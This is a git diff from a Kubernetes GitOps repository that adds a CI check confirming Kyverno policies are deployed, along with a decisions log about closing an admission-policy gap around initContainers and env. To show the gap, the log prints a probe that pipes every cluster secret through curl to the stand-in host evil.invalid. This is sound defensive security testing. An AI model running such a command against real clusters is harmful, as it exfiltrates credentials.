# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
|
||||||
|
# which is precisely the state that identity's own RBAC header says must never exist.
|
||||||
|
#
|
||||||
|
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
|
||||||
|
# DEPLOYED. This check asserts the second thing.
|
||||||
|
#
|
||||||
|
# GIVEN the repository as git tracks it,
|
||||||
|
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
|
||||||
|
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
|
||||||
|
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
|
||||||
|
# policy that IS applied, so the exemption list cannot rot into a lie either way.
|
||||||
|
# =============================================================================
|
||||||
|
set -euo pipefail
|
||||||
|
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||||
|
exec python3 - "$ROOT" <<'PY'
|
||||||
|
import sys, subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(sys.argv[1])
|
||||||
|
FAILURES, CHECKS = [], 0
|
||||||
|
|
||||||
|
def check(cond, desc):
|
||||||
|
global CHECKS
|
||||||
|
CHECKS += 1
|
||||||
|
if not cond:
|
||||||
|
FAILURES.append(desc)
|
||||||
|
|
||||||
|
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
|
||||||
|
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
|
||||||
|
# that silently starts being applied is as much a lie as one that silently stops.
|
||||||
|
CI_ONLY = {
|
||||||
|
"disallow-plaintext-secrets":
|
||||||
|
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
|
||||||
|
"admission because Flux decrypts before the Secret reaches the API server. Its "
|
||||||
|
"in-cluster counterpart is admission/secret-provenance.yaml.",
|
||||||
|
}
|
||||||
|
|
||||||
|
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
|
||||||
|
"platform/kyverno/*.yaml"],
|
||||||
|
cwd=ROOT, capture_output=True, text=True, check=True)
|
||||||
|
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
|
||||||
|
|
||||||
|
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
|
||||||
|
policies = {}
|
||||||
|
for f in files:
|
||||||
|
try:
|
||||||
|
txt = f.read_text()
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if "kind: ClusterPolicy" not in txt:
|
||||||
|
continue
|
||||||
|
for line in txt.splitlines():
|
||||||
|
st = line.strip()
|
||||||
|
if st.startswith("name:") and " name:" in line:
|
||||||
|
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
|
||||||
|
break
|
||||||
|
|
||||||
|
check(len(policies) >= 6,
|
||||||
|
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
|
||||||
|
f"too few means the scan broke, and every assertion below would be vacuous")
|
||||||
|
|
||||||
|
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
|
||||||
|
|
||||||
|
unapplied, wrongly_exempt = [], []
|
||||||
|
for rel, name in sorted(policies.items()):
|
||||||
|
# platform-config references these as ../platform/kyverno/...
|
||||||
|
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
|
||||||
|
if name in CI_ONLY:
|
||||||
|
if referenced:
|
||||||
|
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
|
||||||
|
elif not referenced:
|
||||||
|
unapplied.append(f"{name} ({rel})")
|
||||||
|
|
||||||
|
check(not unapplied,
|
||||||
|
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
|
||||||
|
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
|
||||||
|
|
||||||
|
check(not wrongly_exempt,
|
||||||
|
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
|
||||||
|
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
|
||||||
|
|
||||||
|
for name, reason in CI_ONLY.items():
|
||||||
|
check(bool(reason.strip()),
|
||||||
|
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
|
||||||
|
f"list stops being reviewable")
|
||||||
|
|
||||||
|
check(CHECKS >= 4,
|
||||||
|
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
|
||||||
|
|
||||||
|
if FAILURES:
|
||||||
|
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
|
||||||
|
file=sys.stderr)
|
||||||
|
for f in FAILURES:
|
||||||
|
print(f" - {f}", file=sys.stderr)
|
||||||
|
raise SystemExit(1)
|
||||||
|
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
|
||||||
|
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
|
||||||
|
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
|
||||||
|
f"not that they are correct — `kyverno test` is what proves correctness.")
|
||||||
|
PY
|
||||||
@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
|
|||||||
"backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
|
"backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
|
||||||
"Velero itself publishes nothing until a backup is attempted",
|
"Velero itself publishes nothing until a backup is attempted",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
|
||||||
|
"prefixes": ("kube_flux_",),
|
||||||
|
"file": KPS,
|
||||||
|
"require": [
|
||||||
|
r"customResourceState:\s*\n\s*enabled:\s*true",
|
||||||
|
r"metricNamePrefix:\s*kube_flux_kustomization",
|
||||||
|
r"metricNamePrefix:\s*kube_flux_gitrepository",
|
||||||
|
# The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
|
||||||
|
# above: without read access to these two API groups KSM publishes the
|
||||||
|
# custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
|
||||||
|
# leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
|
||||||
|
r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
|
||||||
|
r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
|
||||||
|
# A config-only edit does not restart KSM (the chart sets no checksum annotation over
|
||||||
|
# the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
|
||||||
|
# it and a future change to the flux collector set ships green and never takes effect.
|
||||||
|
r"homelab\.keithjackson\.dev/crs-config-rollout",
|
||||||
|
],
|
||||||
|
"forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
|
||||||
|
"why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
|
||||||
|
"revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
|
||||||
|
"ReconciliationSucceeded on every interval tick whether or not anything changed, so "
|
||||||
|
"without these metrics nothing can tell a deploy starting from an idle cluster",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"owner": "kube-prometheus-stack: bundled kube-state-metrics",
|
"owner": "kube-prometheus-stack: bundled kube-state-metrics",
|
||||||
"prefixes": ("kube_",),
|
"prefixes": ("kube_",),
|
||||||
|
|||||||
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
|
|||||||
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
||||||
"runbooks", "clusters", "bootstrap", "catalog")
|
"runbooks", "clusters", "bootstrap", "catalog")
|
||||||
|
|
||||||
|
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
|
||||||
|
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
|
||||||
|
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
|
||||||
|
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
|
||||||
|
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
|
||||||
|
# routes and make (8) demand the operator's dashboard link them.
|
||||||
|
#
|
||||||
|
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
|
||||||
|
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
|
||||||
|
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
|
||||||
|
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
|
||||||
|
# become a real delivery root.
|
||||||
|
NON_SERVING_RECONCILED = ("conformance/incluster",)
|
||||||
|
|
||||||
|
|
||||||
def tracked_yaml() -> list[Path]:
|
def tracked_yaml() -> list[Path]:
|
||||||
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
||||||
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
|
|||||||
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
||||||
# a path of them would fail on a file that is correct.
|
# a path of them would fail on a file that is correct.
|
||||||
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
||||||
|
def _reconciled_path(d):
|
||||||
|
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
|
||||||
|
|
||||||
|
|
||||||
unscanned = sorted({
|
unscanned = sorted({
|
||||||
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
||||||
for p, d in reconcilers
|
for p, d in reconcilers
|
||||||
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
|
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
|
||||||
not in DELIVERY_ROOTS
|
and _reconciled_path(d) not in NON_SERVING_RECONCILED
|
||||||
})
|
})
|
||||||
|
|
||||||
|
# The exemption's own guard: an exempted tree must actually serve nothing.
|
||||||
|
exempt_serving = sorted({
|
||||||
|
f"{p.relative_to(ROOT)} ({d.get('kind')})"
|
||||||
|
for p, d in docs_all()
|
||||||
|
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
|
||||||
|
and (d.get("kind") == "HTTPRoute"
|
||||||
|
or (d.get("kind") == "Service"
|
||||||
|
and any("hostname" in str(k).lower()
|
||||||
|
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
|
||||||
|
})
|
||||||
|
check(not exempt_serving,
|
||||||
|
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
|
||||||
|
f"gains a route would hide a service from this check entirely "
|
||||||
|
f"{exempt_serving if exempt_serving else ''}")
|
||||||
check(len(reconcilers) >= 10 and not unscanned,
|
check(len(reconcilers) >= 10 and not unscanned,
|
||||||
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
||||||
f"reconciled tree this check does not read is a service it cannot require a link for "
|
f"reconciled tree this check does not read is a service it cannot require a link for "
|
||||||
|
|||||||
@@ -6,6 +6,10 @@
|
|||||||
|
|
||||||
# Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
|
# Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
|
||||||
CHAINSAW_VERSION="v0.2.12"
|
CHAINSAW_VERSION="v0.2.12"
|
||||||
|
# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
|
||||||
|
# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
|
||||||
|
# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
|
||||||
|
# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
|
||||||
CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
|
CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
|
||||||
|
|
||||||
# kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
|
# kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
|
||||||
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
|
|||||||
# Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
|
# Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
|
||||||
# only constraint is a modern interpreter.
|
# only constraint is a modern interpreter.
|
||||||
PYTHON_MIN="3.9"
|
PYTHON_MIN="3.9"
|
||||||
|
|
||||||
|
# --- In-cluster conformance runner image -------------------------------------
|
||||||
|
# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
|
||||||
|
# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
|
||||||
|
# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||||
|
#
|
||||||
|
# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
|
||||||
|
# init container's only entrypoint. That is a security fixture, not a convenience: the
|
||||||
|
# admission policy never reads `initContainers`, so an init container with an inline shell
|
||||||
|
# script is currently admitted with the privileged runner SA. The policy rule that makes the
|
||||||
|
# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
|
||||||
|
#
|
||||||
|
# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
|
||||||
|
# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
|
||||||
|
# ADMITS a conformance-trigger Job only when its image matches
|
||||||
|
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
|
||||||
|
# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
|
||||||
|
CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
|
||||||
|
# Build handle only. Admission never sees the tag; a Job must reference the digest.
|
||||||
|
CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
|
||||||
|
#
|
||||||
|
# ############################################################################
|
||||||
|
# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET. #
|
||||||
|
# ############################################################################
|
||||||
|
# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
|
||||||
|
# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
|
||||||
|
# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
|
||||||
|
# pushing needs a registry credential, and publishing the artifact a fail-closed security
|
||||||
|
# boundary then trusts is an OPERATOR action, not an agent's.
|
||||||
|
#
|
||||||
|
# OPERATOR, to complete the pin:
|
||||||
|
# 1. ./conformance/incluster/build-image.sh # rebuild, verify, print the commands
|
||||||
|
# 2. podman login gitea.home.keithjackson.dev
|
||||||
|
# 3. podman push --digestfile /tmp/conformance-runner.digest \
|
||||||
|
# "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
|
||||||
|
# 4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
|
||||||
|
# — the digest the REGISTRY returned, not the local manifest digest the build printed.
|
||||||
|
# 5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
|
||||||
|
#
|
||||||
|
# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
|
||||||
|
# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
|
||||||
|
# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
|
||||||
|
CONFORMANCE_RUNNER_IMAGE_DIGEST=""
|
||||||
|
CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
|
||||||
|
#
|
||||||
|
# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
|
||||||
|
# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
|
||||||
|
# that closes the residual "anyone who can push to this path" gap. Separate PR, human
|
||||||
|
# reviewed, because it edits the security boundary itself.
|
||||||
@@ -0,0 +1,401 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: feat/conformance-job-template
|
||||||
|
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
|
||||||
|
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
|
||||||
|
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
|
||||||
|
renderable run template. Along the way the admission policy that is supposed to bound that Job
|
||||||
|
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
|
||||||
|
more rules and moved the clone script out of the Job entirely.
|
||||||
|
|
||||||
|
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
|
||||||
|
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
|
||||||
|
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
|
||||||
|
> file under `decisions/`; the archive is untouched.
|
||||||
|
|
||||||
|
### The binding constraint, and how it was met
|
||||||
|
|
||||||
|
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
|
||||||
|
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
|
||||||
|
Secret volume and the init container could not have a scratch volume:
|
||||||
|
|
||||||
|
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
||||||
|
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
|
||||||
|
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
|
||||||
|
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
|
||||||
|
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
||||||
|
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
||||||
|
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
|
||||||
|
not write it.
|
||||||
|
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
|
||||||
|
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
|
||||||
|
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
||||||
|
|
||||||
|
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
|
||||||
|
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
|
||||||
|
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
|
||||||
|
happened to be.
|
||||||
|
|
||||||
|
### Results out of the Job with no exec channel
|
||||||
|
|
||||||
|
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
|
||||||
|
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
|
||||||
|
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
|
||||||
|
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
|
||||||
|
|
||||||
|
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
<base64 of the tgz, wrapped at 76 columns>
|
||||||
|
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
|
||||||
|
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
||||||
|
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
|
||||||
|
digest appear in **both** markers and the collector owes five checks, each documented above the
|
||||||
|
function.
|
||||||
|
|
||||||
|
### THE FINDING: the admission boundary did not look at `initContainers`
|
||||||
|
|
||||||
|
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
|
||||||
|
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
|
||||||
|
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
|
||||||
|
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
|
||||||
|
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
|
||||||
|
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
|
||||||
|
already have carried one.
|
||||||
|
|
||||||
|
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
|
||||||
|
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
|
||||||
|
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
|
||||||
|
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
|
||||||
|
policy gained four rules in this branch:
|
||||||
|
|
||||||
|
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||||
|
must be on the digest-pinned `conformance-runner` image, `command:
|
||||||
|
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||||
|
false`, not privileged.
|
||||||
|
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
|
||||||
|
note under "What I did NOT verify".
|
||||||
|
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||||
|
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||||
|
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||||
|
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
|
||||||
|
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
|
||||||
|
non-interactive script, and the runner's command IS a bash script. The init list iterates
|
||||||
|
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
|
||||||
|
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||||
|
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||||
|
|
||||||
|
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
|
||||||
|
one** element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||||
|
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||||
|
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||||
|
|
||||||
|
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||||
|
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||||
|
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
|
||||||
|
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
|
||||||
|
undone.
|
||||||
|
|
||||||
|
### The clone script left the Job — that is the actual fix
|
||||||
|
|
||||||
|
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||||
|
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||||
|
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
|
||||||
|
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
|
||||||
|
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
|
||||||
|
else.
|
||||||
|
|
||||||
|
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
|
||||||
|
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
|
||||||
|
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
|
||||||
|
1's version before deleting mine rather than assuming compatibility, and the interface my Job
|
||||||
|
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
|
||||||
|
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
|
||||||
|
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
|
||||||
|
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
|
||||||
|
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
|
||||||
|
than honouring it.
|
||||||
|
|
||||||
|
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
|
||||||
|
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||||
|
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
|
||||||
|
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
|
||||||
|
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
|
||||||
|
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
|
||||||
|
**independently and against an instruction to read those values from env** — an instruction the
|
||||||
|
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
|
||||||
|
trusting it just moves the injection" reasoning in one afternoon is the signal that the
|
||||||
|
field-enumeration gap was systemic, not a one-off.
|
||||||
|
|
||||||
|
### The committed `args` default was a shape that cannot run
|
||||||
|
|
||||||
|
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
|
||||||
|
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||||
|
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||||
|
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||||
|
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
|
||||||
|
filters to `/l0-static/|/l1-rendering/`:
|
||||||
|
|
||||||
|
| args | offline selection | verdict |
|
||||||
|
|---|---|---|
|
||||||
|
| `--layer l2,l3` | empty | **RUNS** |
|
||||||
|
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||||
|
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||||
|
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||||
|
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||||
|
|
||||||
|
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
|
||||||
|
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
|
||||||
|
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
|
||||||
|
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
|
||||||
|
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||||
|
|
||||||
|
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
|
||||||
|
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||||
|
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||||
|
considered rather than missed.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
### Admission, proven with the pinned CLI rather than assumed
|
||||||
|
|
||||||
|
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
|
||||||
|
|
||||||
|
##### the real rendered template MUST PASS
|
||||||
|
Applying 7 policy rule(s) to 1 resource(s)...
|
||||||
|
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
|
||||||
|
|
||||||
|
##### the coordinator's exact initContainer probe MUST FAIL
|
||||||
|
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||||
|
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||||
|
|
||||||
|
##### same escalation via ephemeralContainers MUST FAIL
|
||||||
|
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||||
|
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||||
|
|
||||||
|
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
|
||||||
|
compliant and `serviceAccountName: conformance-runner`:
|
||||||
|
|
||||||
|
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||||
|
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
|
||||||
|
- the committed template with **only** the init container's `args` swapped for
|
||||||
|
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||||
|
→ `pass: 3, fail: 0` — **ADMITTED**
|
||||||
|
|
||||||
|
Negative controls on the same rendered template, showing the original rules do bite where they
|
||||||
|
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
||||||
|
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
||||||
|
`/spec/template/spec/containers/0/command/`.
|
||||||
|
|
||||||
|
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
|
||||||
|
|
||||||
|
